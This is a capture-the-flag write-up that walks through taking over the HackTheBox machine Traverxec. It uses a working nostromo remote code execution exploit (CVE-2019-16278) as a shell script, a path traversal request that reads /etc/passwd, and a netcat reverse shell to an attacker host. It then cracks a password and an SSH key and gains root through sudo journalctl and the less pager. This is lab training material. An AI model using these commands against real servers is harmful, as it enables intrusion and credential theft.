This is the first box I have ever owned, so some steps might be sub-optimal, but I shall present how to own Traverxec own HackTheBox.
My environment of choice for this is standard Debian. user@host $
means a shell as user on host (user is omitted on the hacker computer),
host # means a root shell.
Since on HTB all we get is an IP address, we first do a portscan against it.
debian # nmap -Pn -sS -p- 10.10.10.165
Nmap scan report for 10.10.10.165
Host is up (0.12s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
This box looks like a leightweight Linux webserver with only HTTP and SSH running. In this case I will go for HTTP first, while SSH may very well be a target, I suspect HTTP is much more likely.
I first check if there is a website hosted using Firefox. We get something
that looks like someone's personal website. Since the contact form does not
work and the page looks like simple template with very few customizations,
the only useful information we got from the page is the name David White.
This could help us make educated guesses for the username later if necessary.
Now I do a request to the web server using curl from the command line to get some information about the software serving us this website.
debian $ curl -v 10.10.10.165
...
< HTTP/1.1 200 OK
< Date: Thu, 16 Apr 2020 01:48:05 GMT
<span style="color:red">< Server: nostromo 1.9.6</span>
< Connection: close
< Last-Modified: Fri, 25 Oct 2019 21:11:09 GMT
< Content-Length: 15674
< Content-Type: text/html
...
The line highlighted in red above rings many bells as nostromo is not a piece of software one commonly expects to see on Linux webservers. I have a version number and a package name, so it is time to search the web for changelogs.
It turns out this specific version of nostromo, aka. nhttpd has a remote command injection vulnerability titled CVE-2019-16278.
There are some scripts online to exploit this, but since it looks trivial to implement I wrote quick shell script that exploits this. I prefer implementing my own exploits when feasible over using pre-made toolkits such as metasploit.
This exploit relies on a path traversal protection bypass, which can be used to request arbitrary files of the server.
debian $ printf "GET /.%%0d./.%%0d./.%%0d./.%%0d./etc/passwd HTTP/1.0\r\n\r\n" | nc 10.10.10.165 80
HTTP/1.1 200 OK
Date: Thu, 16 Apr 2020 02:05:27 GMT
Server: nostromo 1.9.6
Connection: close
Last-Modified: Fri, 25 Oct 2019 18:34:30 GMT
Content-Length: 1395
Content-Type: text/html<br>
root:x:0:0:root:/root:/bin/bash
...
david:x:1000:1000:david,,,:/home/david:/bin/bash
...
Unfortunetly for the users of nostromo, and fortunetly for us this gets much
worse when we POST instead of GET-ing. We can post commands to /bin/sh
and instead of giving us the binary contents, the server executes it with
The following shell script implements this.
#!/bin/sh
# Usage: rce.sh ip command
printf "POST /.%%0d./.%%0d./.%%0d./.%%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n$2 2>&1\n" | nc $1 80
This might look very dense, but all we are doing is generating an HTTP request
using printf into netcat with the body of the request being the command we
intend to execute. The two echo commands are necessary for nostromo to
return the output instead of failing with a 500 Internal Server Error.
Using our RCE script we get a reverse shell with nostromo's persmissions.
First shell on hacker computer:
debian $ nc -lvp 9999
www-data@traverxec $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@traverxec $ hostname
traverxec<br>
Second shell on hacker computer:
debian $ ./rce.sh 10.10.10.165 "nc hacker_ip 9999 -e /bin/sh"
Using the reverse shell from the last step I enumerate what can I access as
www-data.
Let's see what files can I access. Only interesting/unusual files are shown here, otherwise it would fill the page.
www-data@traverxec $ find / -type f -readable
...
/var/nostromo/logs/nhttpd.pid
/var/nostromo/conf/mimes
/var/nostromo/conf/.htpasswd
/var/nostromo/conf/nhttpd.conf
/var/nostromo/icons/dir.gif
/var/nostromo/icons/file.gif
/var/nostromo/htdocs/js/main.js
/var/nostromo/htdocs/css/style.css
/var/nostromo/htdocs/empty.html
...
First I check .htpasswd, which gets me a password hash for david.
www-data@traverxec $ cat /var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
Since this is a weak MD5 hash, I let john the ripper run it through rockyou,
it comes back with Nowonly4me as the password. We could try these credentials,
but lets look elsewhere first.
I take a look at nhttpd.conf and it contains the following interesting section.
www-data@traverxec $ cat /var/nostromo/conf/nhttpd.conf
...
# HOMEDIRS [OPTIONAL]<br>
homedirs /home
homedirs_public public_www
...
This tells nostromo to serve a directory from each user's home called
public_www under /~username. Since we know we have a user called david
on the box, we open http://10.10.10.165/~david/ in Firefox, and bingo we
found david's private area. After that we check /home/david/public_www
as find must have missed it if /home/david itself is unreadable.
www-data@traverxec $ find /home/david/public_www
/home/david/public_www
/home/david/public_www/index.html
/home/david/public_www/protected-file-area
<span style="color:red">/home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz</span>
/home/david/public_www/protected-file-area/.htaccess
www-data@traverxec $ tar tf /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
As you can see above there are some very bad news for david as we found his ssh private key. We copy the tarball to a temporary location, extract it, and cat our id_rsa file to stdout.
www-data@traverxec $ cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz /tmp/
www-data@traverxec $ cd /tmp; tar xf backup-ssh-identity-files.tgz
www-data@traverxec $ cat home/david/.ssh/id_rsa; rm -rf backup-ssh-identity-files.tgz home/
Looking at our newly acquired ssh key we can see it is password protected, but we can use john the ripper again to find the password and decrypt the key.
debian $ ssh2john id_david > id_david_hash
debian $ john --wordlist=rockyou.txt id_david_hash
...
debian $ ssh-keygen -p -f id_david
Enter old passphrase: hunter
Enter new passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved with the new passphrase.
After this we just ssh in as david and get the flag.
debian $ ssh -i id_david david@10.10.10.165
david@traverxec $ cat user.txt
flag_will_be_here
Using the ssh connection we established above we look around the machine to see
what david left on it.
david@traverxec $ find /home/david
/home/david
/home/david/.local
/home/david/.local/share
/home/david/.local/share/nano
/home/david/.profile
/home/david/.ssh
/home/david/.ssh/authorized_keys
/home/david/.ssh/id_rsa
/home/david/.ssh/id_rsa.pub
/home/david/public_www
/home/david/public_www/index.html
/home/david/public_www/protected-file-area
/home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
/home/david/public_www/protected-file-area/.htaccess
/home/david/bin
<span style="color:red">/home/david/bin/server-stats.sh</span>
/home/david/bin/server-stats.head
/home/david/.bash_history
/home/david/.bash_logout
/home/david/.bashrc
/home/david/user.txt
Next I look at the shell script highlited above. Running the script prints some of the webserver log, but most importantly does **not** require a password to do it. Now we look at the code and see why.
david@traverxec $ cat /home/david/bin/server-stats.sh
#!/bin/bash<br>
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
As you can see david allowed himself to run journalctl as root. Sadly for
him journalctl calls a pager if it's output does not fit inside the terminal.
Thus we make our terminal window tiny, and run the journalctl command.
david@traverxec $ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
Now we have less running as root under our control. Since it has a convenient
vim-like command execution feature we just type !/bin/sh and we have a root
shell. Now we just cat the root flag and we are done ;)
travrexec # cat /root/root.txt
root_flag_here